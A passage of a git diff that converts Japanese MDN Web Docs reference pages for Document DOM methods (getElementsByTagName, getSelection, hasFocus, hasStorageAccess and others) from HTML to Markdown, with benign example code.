初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.getElementsByName")}} + +## 関連情報 + +- {{domxref("document.getElementById()")}} : 固有の `id` を持つ要素への参照を返す +- {{domxref("document.getElementsByTagName()")}} : 同じ[タグ名](/ja/docs/Web/API/Element/tagName)の要素への参照を返す +- {{domxref("document.querySelector()")}} : `'div.myclass'` のような CSS セレクターによって要素への参照をかえす diff --git a/files/ja/web/api/document/getelementsbytagname/index.html b/files/ja/web/api/document/getelementsbytagname/index.html deleted file mode 100644 index a17a973739e01b..00000000000000 --- a/files/ja/web/api/document/getelementsbytagname/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Document.getElementsByTagName() -slug: Web/API/Document/getElementsByTagName -tags: - - API - - DOM - - Method - - Reference -translation_of: Web/API/Document/getElementsByTagName ---- -
{{APIRef("DOM")}}
- -

getElementsByTagName は {{domxref("Document")}} インターフェイスのメソッドで、指定されたタグ名を持つ要素の {{domxref("HTMLCollection")}} を返します。ルートノードを含めた文書全体が検索されます。返された HTMLCollection は生きたものであり、つまり document.getElementsByTagName() を再度呼び出さなくても DOM ツリーと同期を取り続けるよう、自動的に自分自身を更新します。.

- -

構文

- -
var elements = document.getElementsByTagName(name);
- -
    -
  • elements は生きた {{domxref("HTMLCollection")}} であり、見つかった要素がツリーに出現する順に並んでいます (ただし、下記のメモを見てください)。
  • -
  • name は文字列で、要素の名前を表します。特殊な文字列 "*" は全ての要素を表します。
  • -
- -
最新の W3C 仕様書 では elementsHTMLCollection です。しかし、 WebKit ブラウザーではこのメソッドは {{domxref("NodeList")}} を返します。詳しくは {{bug(14869)}} を見てください。
- -

- -

以下の例では、 getElementsByTagName() は特定の親要素から開始し、その親要素から DOM を上から下へ再帰的に検索し、タグが name パラメータと一致する子要素を探します。これは document.getElementsByTagName() と、機能的に同等な {{domxref("Element.getElementsByTagName()")}} は、 DOM ツリー内の特定の要素から検索を始めることを示します。

- -

ボタンをクリックすると getElementsByTagName() を使用して、特定の親 (文書自体または2つの {{HTMLElement("div")}} 要素の何れかに囲まれたもの) の子孫の段落要素を数えます。

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-  <meta charset="UTF-8" />
-  <title>getElementsByTagName example</title>
-  <script>
-    function getAllParaElems() {
-      var allParas = document.getElementsByTagName('p');
-      var num = allParas.length;
-      alert('この文書には ' + num + ' 個の段落があります');
-    }
-
-    function div1ParaElems() {
-      var div1 = document.getElementById('div1');
-      var div1Paras = div1.getElementsByTagName('p');
-      var num = div1Paras.length;
-      alert('#div1 には ' + num + ' 個の段落があります');
-    }
-
-    function div2ParaElems() {
-      var div2 = document.getElementById('div2');
-      var div2Paras = div2.getElementsByTagName('p');
-      var num = div2Paras.length;
-      alert('#div2 には' + num + ' 個の段落があります');
-    }
-  </script>
-</head>
-<body style="border: solid green 3px">
-  <p>Some outer text</p>
-  <p>Some outer text</p>
-
-  <div id="div1" style="border: solid blue 3px">
-    <p>Some div1 text</p>
-    <p>Some div1 text</p>
-    <p>Some div1 text</p>
-
-    <div id="div2" style="border: solid red 3px">
-      <p>Some div2 text</p>
-      <p>Some div2 text</p>
-    </div>
-  </div>
-
-  <p>Some outer text</p>
-  <p>Some outer text</p>
-
-  <button onclick="getAllParaElems();">
-    文書内のすべての p 要素を表示</button><br />
-
-  <button onclick="div1ParaElems();">
-    div1 要素内のすべての p 要素を表示</button><br />
-
-  <button onclick="div2ParaElems();">
-    div2 要素内のすべての p 要素を表示</button>
-
-</body>
-</html>
-
- -

- -

HTML 文書上で呼び出された場合、 getElementsByTagName() は処理前に引数を小文字に変換します。これは HTML 文書内のサブツリーにあるキャメルケースの SVG 要素に一致させようとする場合には望ましくありません。この場合は {{Domxref("document.getElementsByTagNameNS()")}} が便利です。 {{Bug(499656)}} を参照してください。

- -

document.getElementsByTagName() は、検索が文書全体を含むという点以外は {{domxref("Element.getElementsByTagName()")}} と類似しています。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG','#dom-document-getelementsbytagname','document.getElementsByTagName')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.getElementsByTagName")}}

- -

関連情報

- -
    -
  • {{domxref("Element.getElementsByTagName()")}}
  • -
  • {{domxref("document.getElementById()")}} : id によって検索した要素への参照を返す
  • -
  • {{domxref("document.getElementsByName()")}} : name によって検索した要素への参照を返す
  • -
  • {{domxref("document.querySelector()")}} : 'div.myclass' のような CSS セレクターによって要素への参照を返す
  • -
diff --git a/files/ja/web/api/document/getelementsbytagname/index.md b/files/ja/web/api/document/getelementsbytagname/index.md new file mode 100644 index 00000000000000..7f5a1e3228dcfa --- /dev/null +++ b/files/ja/web/api/document/getelementsbytagname/index.md @@ -0,0 +1,112 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/getElementsByTagName +--- +{{APIRef("DOM")}} + +**`getElementsByTagName`** は {{domxref("Document")}} インターフェイスのメソッドで、指定されたタグ名を持つ要素の {{domxref("HTMLCollection")}} を返します。ルートノードを含めた文書全体が検索されます。返された `HTMLCollection` は生きたものであり、つまり `document.getElementsByTagName()` を再度呼び出さなくても DOM ツリーと同期を取り続けるよう、自動的に自分自身を更新します。. + +## 構文 + +``` +var elements = document.getElementsByTagName(name); +``` + +- _elements_ は生きた {{domxref("HTMLCollection")}} であり、見つかった要素がツリーに出現する順に並んでいます (ただし、下記のメモを見てください)。 +- _name_ は文字列で、要素の名前を表します。特殊な文字列 "\*" は全ての要素を表します。 + +> **Note:** [最新の W3C 仕様書](https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html) では `elements` は `HTMLCollection` です。しかし、 WebKit ブラウザーではこのメソッドは {{domxref("NodeList")}} を返します。詳しくは {{bug(14869)}} を見てください。 + +## 例 + +以下の例では、 `getElementsByTagName()` は特定の親要素から開始し、その親要素から DOM を上から下へ再帰的に検索し、タグが `name` パラメータと一致する子要素を探します。これは `document.getElementsByTagName()` と、機能的に同等な {{domxref("Element.getElementsByTagName()")}} は、 DOM ツリー内の特定の要素から検索を始めることを示します。 + +ボタンをクリックすると `getElementsByTagName()` を使用して、特定の親 (文書自体または 2 つの {{HTMLElement("div")}} 要素の何れかに囲まれたもの) の子孫の段落要素を数えます。 + +```html + + + + + getElementsByTagName example + + + +

Some outer text

+

Some outer text

+ +
+

Some div1 text

+

Some div1 text

+

Some div1 text

+ +
+

Some div2 text

+

Some div2 text

+
+
+ +

Some outer text

+

Some outer text

+ +
+ +
+ + + + + +``` + +## 注 + +HTML 文書上で呼び出された場合、 `getElementsByTagName()` は処理前に引数を小文字に変換します。これは HTML 文書内のサブツリーにあるキャメルケースの SVG 要素に一致させようとする場合には望ましくありません。この場合は {{Domxref("document.getElementsByTagNameNS()")}} が便利です。 {{Bug(499656)}} を参照してください。 + +`document.getElementsByTagName()` は、検索が文書全体を含むという点以外は {{domxref("Element.getElementsByTagName()")}} と類似しています。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG','#dom-document-getelementsbytagname','document.getElementsByTagName')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.getElementsByTagName")}} + +## 関連情報 + +- {{domxref("Element.getElementsByTagName()")}} +- {{domxref("document.getElementById()")}} : `id` によって検索した要素への参照を返す +- {{domxref("document.getElementsByName()")}} : `name` によって検索した要素への参照を返す +- {{domxref("document.querySelector()")}} : `'div.myclass'` のような CSS セレクターによって要素への参照を返す diff --git a/files/ja/web/api/document/getelementsbytagnamens/index.html b/files/ja/web/api/document/getelementsbytagnamens/index.html deleted file mode 100644 index f082bfb75fbf43..00000000000000 --- a/files/ja/web/api/document/getelementsbytagnamens/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Document.getElementsByTagNameNS() -slug: Web/API/Document/getElementsByTagNameNS -tags: - - API - - DOM - - Method - - NeedsMarkupWork - - NeedsSpecTable - - Reference - - getElementsByTagNameNS -translation_of: Web/API/Document/getElementsByTagNameNS ---- -
{{APIRef("DOM")}}
- -

指定された名前空間の指定されたタグ名を持つ要素のリストを返します。ルートノードを含め、文書全体が検索されます。

- -

構文

- -
elements = document.getElementsByTagNameNS(namespace, name)
-
- -
    -
  • elements は見つかった要素の生きた {{DOMxRef("NodeList")}} (但し下記のメモを参照) で、ツリーに現れる順です。
  • -
  • namespace は検索する要素の名前空間 URI です ({{domxref("Node.namespaceURI", "element.namespaceURI")}} を参照)。
  • -
  • name は検索する要素の局所名、またはすべての要素に一致する特殊な値 * です ({{domxref("Node.localName", "element.localName")}} を参照)。
  • -
- -

注: W3C の仕様書では elementsNodeList であるとされていますが、 Gecko および Internet Explorer ではこのメソッドは {{DOMxRef("HTMLCollection")}} を返します。 Opera は NodeList を返しますが、 namedItem メソッドを実装しているので、 HTMLCollection と同様になります。2012年1月時点で、 WebKit ブラウザーのみが純粋な NodeList の値を返します。詳しくは bug 14869 を参照してください。

- -

注: 現在、このメソッドの引数は大文字と小文字を区別しますが、 Firefox 3.5 以前は大文字と小文字を区別していませんでした。詳しくは Firefox 3.6 の開発者リリースノートおよび {{domxref("Element.getElementsByTagNameNS")}} のブラウザーの互換性のメモをご覧ください。

- -

- -

以下の例では、 getElementsByTagNameNS は特定の親要素から始め、 DOM 内を親要素から再帰的に通して検索し、タグの name が引数に一致する子要素を検索します。

- -

なお、 getElementsByTagName が呼び出されたノードが document ではない場合、実際には {{domxref("element.getElementsByTagNameNS")}} メソッドが使用されます。

- -

以下の例を使用するには、新しいファイルにそのままコピー&ペーストして、 .xhtml の拡張子で保存してください。

- -
<html xmlns="http://www.w3.org/1999/xhtml">
-
-<head>
-<title>getElementsByTagNameNS example</title>
-
-<script type="text/javascript">
-
-function getAllParaElems()
-{
-  var allParas = document.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
-
-  var num = allParas.length;
-
-  alert("There are " + num + " &lt;p&gt; elements in this document");
-}
-
-
-function div1ParaElems()
-{
-  var div1 = document.getElementById("div1")
-  var div1Paras = div1.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
-
-  var num = div1Paras.length;
-
-  alert("There are " + num + " &lt;p&gt; elements in div1 element");
-}
-
-
-function div2ParaElems()
-{
-  var div2 = document.getElementById("div2")
-  var div2Paras = div2.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
-
-  var num = div2Paras.length;
-
-  alert("There are " + num + " &lt;p&gt; elements in div2 element");
-}
-
-</script>
-</head>
-
-<body style="border: solid green 3px">
-<p>Some outer text</p>
-<p>Some outer text</p>
-
-  <div id="div1" style="border: solid blue 3px">
-    <p>Some div1 text</p>
-    <p>Some div1 text</p>
-    <p>Some div1 text</p>
-
-    <div id="div2" style="border: solid red 3px">
-    <p>Some div2 text</p>
-    <p>Some div2 text</p>
-    </div>
-  </div>
-
-<p>Some outer text</p>
-<p>Some outer text</p>
-
-<button onclick="getAllParaElems();">
- show all p elements in document</button><br />
-
-<button onclick="div1ParaElems();">
- show all p elements in div1 element</button><br />
-
-<button onclick="div2ParaElems();">
- show all p elements in div2 element</button>
-
-</body>
-</html>
-
- -

対応していないブラウザーでの代替方法

- -

要求されたブラウザーが XPath に対応していない場合、他のアプローチ (DOM のすべての子要素をたどって、すべての @xmlns インスタンスで識別する、など) で要求された局所名および名前空間を持つすべてのタグを検索する必要がありますが、 XPath の方がはるかに高速です。 (Explorer に対応するためには、このラッパークラスのように、以下の関数で XPath の代わりに XPath のラッパーを呼び出すことができます (Explorer は異なる API を持つ XPath に対応しています)。

- -
function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
- if (!doc) {
-  doc = document;
- }
- if (!context) {
-  context = doc;
- }
-
- var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
-
-        var a = [];
-        for(var i = 0; i < result.snapshotLength; i++) {
-            a[i] = result.snapshotItem(i);
-        }
-        return a;
-}
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-getelementsbytagnamens', 'document.getElementsByTagNameNS')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.getElementsByTagNameNS")}}

- -

関連情報

- -
    -
  • {{DOMxRef("Element.getElementsByTagNameNS()")}}
  • -
diff --git a/files/ja/web/api/document/getelementsbytagnamens/index.md b/files/ja/web/api/document/getelementsbytagnamens/index.md new file mode 100644 index 00000000000000..d59597cee9f9bc --- /dev/null +++ b/files/ja/web/api/document/getelementsbytagnamens/index.md @@ -0,0 +1,148 @@ +--- +title: Document.getElementsByTagNameNS() +slug: Web/API/Document/getElementsByTagNameNS +tags: + - API + - DOM + - Method + - NeedsMarkupWork + - NeedsSpecTable + - Reference + - getElementsByTagNameNS +translation_of: Web/API/Document/getElementsByTagNameNS +--- +{{APIRef("DOM")}} + +指定された名前空間の指定されたタグ名を持つ要素のリストを返します。ルートノードを含め、文書全体が検索されます。 + +## 構文 + +``` +elements = document.getElementsByTagNameNS(namespace, name) +``` + +- _elements_ は見つかった要素の生きた {{DOMxRef("NodeList")}} (但し下記のメモを参照) で、ツリーに現れる順です。 +- _namespace_ は検索する要素の名前空間 URI です ({{domxref("Node.namespaceURI", "element.namespaceURI")}} を参照)。 +- _name_ は検索する要素の局所名、またはすべての要素に一致する特殊な値 `*` です ({{domxref("Node.localName", "element.localName")}} を参照)。 + +> **Note:** W3C の仕様書では `elements` は `NodeList` であるとされていますが、 Gecko および Internet Explorer ではこのメソッドは {{DOMxRef("HTMLCollection")}} を返します。 Opera は `NodeList` を返しますが、 `namedItem` メソッドを実装しているので、 `HTMLCollection` と同様になります。2012 年 1 月時点で、 WebKit ブラウザーのみが純粋な `NodeList` の値を返します。詳しくは [bug 14869](https://bugzilla.mozilla.org/show_bug.cgi?id=14869) を参照してください。 + +> **Note:** 現在、このメソッドの引数は大文字と小文字を区別しますが、 Firefox 3.5 以前は大文字と小文字を区別していませんでした。詳しくは [Firefox 3.6 の開発者リリースノート](/ja/docs/Mozilla/Firefox/Releases/3.6#DOM)および {{domxref("Element.getElementsByTagNameNS")}} のブラウザーの互換性のメモをご覧ください。 + +## 例 + +以下の例では、 `getElementsByTagNameNS` は特定の親要素から始め、 DOM 内を親要素から再帰的に通して検索し、タグの `name` が引数に一致する子要素を検索します。 + +なお、 `getElementsByTagName` が呼び出されたノードが `document` ではない場合、実際には {{domxref("element.getElementsByTagNameNS")}} メソッドが使用されます。 + +以下の例を使用するには、新しいファイルにそのままコピー&ペーストして、 .xhtml の拡張子で保存してください。 + +```html + + + +getElementsByTagNameNS example + + + + + +

Some outer text

+

Some outer text

+ +
+

Some div1 text

+

Some div1 text

+

Some div1 text

+ +
+

Some div2 text

+

Some div2 text

+
+
+ +

Some outer text

+

Some outer text

+ +
+ +
+ + + + + +``` + +## 対応していないブラウザーでの代替方法 + +要求されたブラウザーが XPath に対応していない場合、他のアプローチ (DOM のすべての子要素をたどって、すべての @xmlns インスタンスで識別する、など) で要求された局所名および名前空間を持つすべてのタグを検索する必要がありますが、 XPath の方がはるかに高速です。 (Explorer に対応するためには、[このラッパークラス](http://www.davidflanagan.com/javascript5/display.php?n=21-10&f=21/10.js)のように、以下の関数で XPath の代わりに XPath のラッパーを呼び出すことができます (Explorer は異なる API を持つ XPath に対応しています)。 + +```js +function getElementsByTagNameNSWrapper (ns, elName, doc, context) { + if (!doc) { + doc = document; + } + if (!context) { + context = doc; + } + + var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); + + var a = []; + for(var i = 0; i < result.snapshotLength; i++) { + a[i] = result.snapshotItem(i); + } + return a; +} +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-getelementsbytagnamens', 'document.getElementsByTagNameNS')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.getElementsByTagNameNS")}} + +## 関連情報 + +- {{DOMxRef("Element.getElementsByTagNameNS()")}} diff --git a/files/ja/web/api/document/getselection/index.html b/files/ja/web/api/document/getselection/index.html deleted file mode 100644 index 5e416caf0bace1..00000000000000 --- a/files/ja/web/api/document/getselection/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Document.getSelection() -slug: Web/API/Document/getSelection -tags: - - API - - Document - - Method - - Reference - - getSelection -browser-compat: api.Document.getSelection -translation_of: Web/API/Document/getSelection -original_slug: Web/API/DocumentOrShadowRoot/getSelection ---- -
{{APIRef("DOM")}}
- -

getSelection() は {{DOMxRef("Document")}} インターフェイスのプロパティで、ユーザーが選択したテキストの範囲、またはキャレットの現在位置を表す {{DOMxRef("Selection")}} オブジェクトを返します。

- -

構文

- -
getSelection()
- -

引数

- -

なし。

- -

返値

- -

{{DOMxRef("Selection")}} オブジェクト。

- -

- -

Selection オブジェクトを取得

- -
-let selection = document.getSelection();
-let selRange = selection.getRangeAt(0);
-// この範囲に対して何かをする
-
-console.log(selection); // Selection オブジェクト
-
- -

Selection オブジェクトの文字列表現

- -

JavaScript では、オブジェクトが文字列を取る関数 ({{DOMxRef("Window.alert()")}} など) に渡された場合、オブジェクトの {{JSxRef("Object.toString", "toString()")}} メソッドが呼び出され、関数にその返値が渡されます。これにより、プロパティやメソッドを持つ実際のオブジェクトであった場合、他の関数に使われると文字列になって現れることがあります。

- -
alert(selection);
- -

ただし、すべての関数で自動的に toString() が呼び出されるとは限りません。 Selection オブジェクトを文字列として使用する場合は、 toString() メソッドを直接呼び出してください。

- -
let selectedText = selection.toString();
- - - -

{{domxref("Window.getSelection()")}} を呼び出すと、 Document.getSelection() と同等の動作をします。

- -

Firefox において現在は getSelection() は {{htmlelement("input")}} 要素の中では動作しないことに注意してください。 {{domxref("HTMLInputElement.setSelectionRange()")}} を使用することで回避できます。

- -

selectionfocus との違いにも注意してください。 {{domxref("Document.activeElement")}} はフォーカスを持つ要素を返します。

- -

仕様書

- -{{Specifications}} - -

ブラウザーの互換性

- -

{{Compat}}

diff --git a/files/ja/web/api/document/getselection/index.md b/files/ja/web/api/document/getselection/index.md new file mode 100644 index 00000000000000..2e1188d5aec5d7 --- /dev/null +++ b/files/ja/web/api/document/getselection/index.md @@ -0,0 +1,72 @@ +--- +title: Document.getSelection() +slug: Web/API/Document/getSelection +tags: + - API + - Document + - Method + - Reference + - getSelection +translation_of: Web/API/Document/getSelection +original_slug: Web/API/DocumentOrShadowRoot/getSelection +browser-compat: api.Document.getSelection +--- +{{APIRef("DOM")}} + +**`getSelection()`** は {{DOMxRef("Document")}} インターフェイスのプロパティで、ユーザーが選択したテキストの範囲、またはキャレットの現在位置を表す {{DOMxRef("Selection")}} オブジェクトを返します。 + +## 構文 + +```js +getSelection() +``` + +### 引数 + +なし。 + +### 返値 + +{{DOMxRef("Selection")}} オブジェクト。 + +## 例 + +### Selection オブジェクトを取得 + +```js +let selection = document.getSelection(); +let selRange = selection.getRangeAt(0); +// この範囲に対して何かをする + +console.log(selection); // Selection オブジェクト +``` + +### Selection オブジェクトの文字列表現 + +JavaScript では、オブジェクトが文字列を取る関数 ({{DOMxRef("Window.alert()")}} など) に渡された場合、オブジェクトの {{JSxRef("Object.toString", "toString()")}} メソッドが呼び出され、関数にその返値が渡されます。これにより、プロパティやメソッドを持つ実際のオブジェクトであった場合、他の関数に使われると文字列になって現れることがあります。 + +```js +alert(selection); +``` + +ただし、すべての関数で自動的に `toString()` が呼び出されるとは限りません。 `Selection` オブジェクトを文字列として使用する場合は、 `toString()` メソッドを直接呼び出してください。 + +```js +let selectedText = selection.toString(); +``` + +## 関連するオブジェクト + +{{domxref("Window.getSelection()")}} を呼び出すと、 `Document.getSelection()` と同等の動作をします。 + +Firefox において現在は `getSelection()` は {{htmlelement("input")}} 要素の中では動作しないことに注意してください。 {{domxref("HTMLInputElement.setSelectionRange()")}} を使用することで回避できます。 + +_selection_ と _focus_ との違いにも注意してください。 {{domxref("Document.activeElement")}} はフォーカスを持つ要素を返します。 + +## 仕様書 + +{{Specifications}} + +## ブラウザーの互換性 + +{{Compat}} diff --git a/files/ja/web/api/document/hasfocus/index.html b/files/ja/web/api/document/hasfocus/index.html deleted file mode 100644 index d228acbe5a5e6c..00000000000000 --- a/files/ja/web/api/document/hasfocus/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: document.hasFocus() -slug: Web/API/Document/hasFocus -tags: - - API - - DOM - - Focus - - Method - - Reference - - フォーカス - - メソッド -translation_of: Web/API/Document/hasFocus ---- -
{{APIRef}}
- -

hasFocus() は {{domxref("Document")}} インターフェイスのメソッドで、 {{jsxref("Boolean")}} の値を返し、文書または文書内の何れかの要素がフォーカスを持っているかどうかを示します。このメソッドは、文書内のアクティブな要素がフォーカスを持っているかどうかを特定するために使用することができます。

- -
-

文書を見ている時、文書内でフォーカスを持つ要素は常にアクティブ要素ですが、アクティブ要素がフォーカスを持っているとは限りません。例えば、フォアグラウンドになっていないポップアップウィンドウ内のアクティブ要素はフォーカスを持ちません。

-
- -

構文

- -
var focused = document.hasFocus();
- -

返値

- -

文書内のアクティブ要素にフォーカスがない場合は false が、文書内のアクティブ要素にフォーカスがある場合は true が返ります。

- -

- -

この例は、文書がフォーカスを持っているかどうかを300ミリ秒ごとに検査します。 hasFocus() の機能をテストするために、ボタンを押して新しいウィンドウを開き、二つのページの間を切り替えてみてください。

- -

HTML

- -
<p id="log">Awaiting focus check.</p>
-<button onclick="openWindow()">Open a new window</button>
- -

JavaScript

- -
function checkPageFocus() {
-  let body = document.querySelector('body');
-  let log = document.getElementById('log');
-
-  if (document.hasFocus()) {
-    log.textContent = 'This document has the focus.';
-    body.style.background = '#fff';
-  }
-  else {
-    log.textContent = 'This document does not have the focus.';
-    body.style.background = '#ccc';
-  }
-}
-
-function openWindow() {
-  window.open('https://developer.mozilla.org/', 'MDN', 'width=640,height=320,left=150,top=150');
-}
-
-// Check page focus every 300 milliseconds
-setInterval(checkPageFocus, 300);
- -

結果

- -

{{EmbedLiveSample("Example")}}

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}{{Spec2('HTML WHATWG')}}初回定義
- -

ブラウザーの対応

- -

{{Compat("api.Document.hasFocus")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/hasfocus/index.md b/files/ja/web/api/document/hasfocus/index.md new file mode 100644 index 00000000000000..1f2706cbb3c969 --- /dev/null +++ b/files/ja/web/api/document/hasfocus/index.md @@ -0,0 +1,82 @@ +--- +title: document.hasFocus() +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - Focus + - Method + - Reference + - フォーカス + - メソッド +translation_of: Web/API/Document/hasFocus +--- +{{APIRef}} + +**`hasFocus()`** は {{domxref("Document")}} インターフェイスのメソッドで、 {{jsxref("Boolean")}} の値を返し、文書または文書内の何れかの要素がフォーカスを持っているかどうかを示します。このメソッドは、文書内のアクティブな要素がフォーカスを持っているかどうかを特定するために使用することができます。 + +> **Note:** 文書を見ている時、文書内でフォーカスを持つ要素は常に[アクティブ要素](/ja/docs/Web/API/DocumentOrShadowRoot/activeElement)ですが、アクティブ要素がフォーカスを持っているとは限りません。例えば、フォアグラウンドになっていないポップアップウィンドウ内のアクティブ要素はフォーカスを持ちません。 + +## 構文 + +``` +var focused = document.hasFocus(); +``` + +### 返値 + +文書内のアクティブ要素にフォーカスがない場合は `false` が、文書内のアクティブ要素にフォーカスがある場合は `true` が返ります。 + +## 例 + +この例は、文書がフォーカスを持っているかどうかを 300 ミリ秒ごとに検査します。 `hasFocus()` の機能をテストするために、ボタンを押して新しいウィンドウを開き、二つのページの間を切り替えてみてください。 + +### HTML + +```html +

Awaiting focus check.

+ +``` + +### JavaScript + +```js +function checkPageFocus() { + let body = document.querySelector('body'); + let log = document.getElementById('log'); + + if (document.hasFocus()) { + log.textContent = 'This document has the focus.'; + body.style.background = '#fff'; + } + else { + log.textContent = 'This document does not have the focus.'; + body.style.background = '#ccc'; + } +} + +function openWindow() { + window.open('https://developer.mozilla.org/', 'MDN', 'width=640,height=320,left=150,top=150'); +} + +// Check page focus every 300 milliseconds +setInterval(checkPageFocus, 300); +``` + +### 結果 + +{{EmbedLiveSample("Example")}} + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------- | +| {{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}} | {{Spec2('HTML WHATWG')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.hasFocus")}} + +## 関連情報 + +- [Page Visibility API の使用](/ja/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API) diff --git a/files/ja/web/api/document/hasstorageaccess/index.html b/files/ja/web/api/document/hasstorageaccess/index.html deleted file mode 100644 index 54f18a58dea94a..00000000000000 --- a/files/ja/web/api/document/hasstorageaccess/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Document.hasStorageAccess() -slug: Web/API/Document/hasStorageAccess -tags: - - API - - DOM - - Document - - Reference - - Storage Access API - - hasStorageAccess - - メソッド -translation_of: Web/API/Document/hasStorageAccess ---- -
{{APIRef}}{{seecompattable}}
- -

{{domxref("Document")}} インターフェイスの hasStorageAccess() メソッドは、文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} を返します。

- -

詳しくは Storage Access API を参照してください。

- -

構文

- -
var promise = document.hasStorageAccess();
- -

引数

- -

なし。

- -

返値

- -

文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} です。

- -

Promise が解決され、関数が最初に呼び出されたときにユーザージェスチャーイベントを処理していた場合、解決ハンドラーはユーザージェスチャーが処理されているかのように実行されるため、ユーザーによるアクティベーションを必要とする API を呼び出すことができます。

- -

- -
document.hasStorageAccess().then(hasAccess => {
-  if (hasAccess) {
-    // ストレージへのアクセスはすでに許可されています。
-  } else {
-    // ストレージへのアクセスはまだ許可されていません。
-    // requestStorageAccess() を呼び出す必要があります。
-  }
-});
- -

仕様書

- -

この API はまだ提案段階にあります。 — 標準化プロセスはまだ始まっていません。現在のところ、この API の詳細の仕様書は、アップルのブログ投稿の Introducing Storage Access API、および WHATWG HTML issue 3338 — Proposal: Storage Access API で見ることができます。

- -

ブラウザーの互換性

- -

{{Compat("api.Document.hasStorageAccess")}}

- -

関連情報

- -

Storage Access API

diff --git a/files/ja/web/api/document/hasstorageaccess/index.md b/files/ja/web/api/document/hasstorageaccess/index.md new file mode 100644 index 00000000000000..6b2eafe936ba94 --- /dev/null +++ b/files/ja/web/api/document/hasstorageaccess/index.md @@ -0,0 +1,59 @@ +--- +title: Document.hasStorageAccess() +slug: Web/API/Document/hasStorageAccess +tags: + - API + - DOM + - Document + - Reference + - Storage Access API + - hasStorageAccess + - メソッド +translation_of: Web/API/Document/hasStorageAccess +--- +{{APIRef}}{{seecompattable}} + +{{domxref("Document")}} インターフェイスの **`hasStorageAccess()`** メソッドは、文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} を返します。 + +詳しくは [Storage Access API](/ja/docs/Web/API/Storage_Access_API) を参照してください。 + +## 構文 + +``` +var promise = document.hasStorageAccess(); +``` + +### 引数 + +なし。 + +### 返値 + +文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} です。 + +Promise が解決され、関数が最初に呼び出されたときにユーザージェスチャーイベントを処理していた場合、解決ハンドラーはユーザージェスチャーが処理されているかのように実行されるため、ユーザーによるアクティベーションを必要とする API を呼び出すことができます。 + +## 例 + +```js +document.hasStorageAccess().then(hasAccess => { + if (hasAccess) { + // ストレージへのアクセスはすでに許可されています。 + } else { + // ストレージへのアクセスはまだ許可されていません。 + // requestStorageAccess() を呼び出す必要があります。 + } +}); +``` + +## 仕様書 + +この API はまだ提案段階にあります。 — 標準化プロセスはまだ始まっていません。現在のところ、この API の詳細の仕様書は、アップルのブログ投稿の [Introducing Storage Access API](https://webkit.org/blog/8124/introducing-storage-access-api/)、および [WHATWG HTML issue 3338 — Proposal: Storage Access API](https://github.com/whatwg/html/issues/3338) で見ることができます。 + +## ブラウザーの互換性 + +{{Compat("api.Document.hasStorageAccess")}} + +## 関連情報 + +[Storage Access API](/ja/docs/Web/API/Storage_Access_API) diff --git a/files/ja/web/api/document/head/index.html b/files/ja/web/api/document/head/index.html deleted file mode 100644 index 4d948ce6a064bc..00000000000000 --- a/files/ja/web/api/document/head/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Document.head -slug: Web/API/Document/head -tags: - - API - - Document - - HTML DOM - - Reference - - head -translation_of: Web/API/Document/head ---- -
{{APIRef("DOM")}}
- -

{{domxref("Document")}} インターフェイスの head は読み取り専用のプロパティで、現在の文書の {{HTMLElement("head")}} 要素を返します。

- -

構文

- -
var objRef = document.head;
-
- -

- -

{{domxref("HTMLHeadElement")}} です。

- -

- -
<!doctype html>
-<head id="my-document-head">
-  <title>Example: using document.head</title>
-</head>
-
-<script>
-  var theHead = document.head;
-
-  console.log(theHead.id); // "my-document-head";
-
-  console.log( theHead === document.querySelector("head") ); // true
-</script>
-
- -

メモ

- -

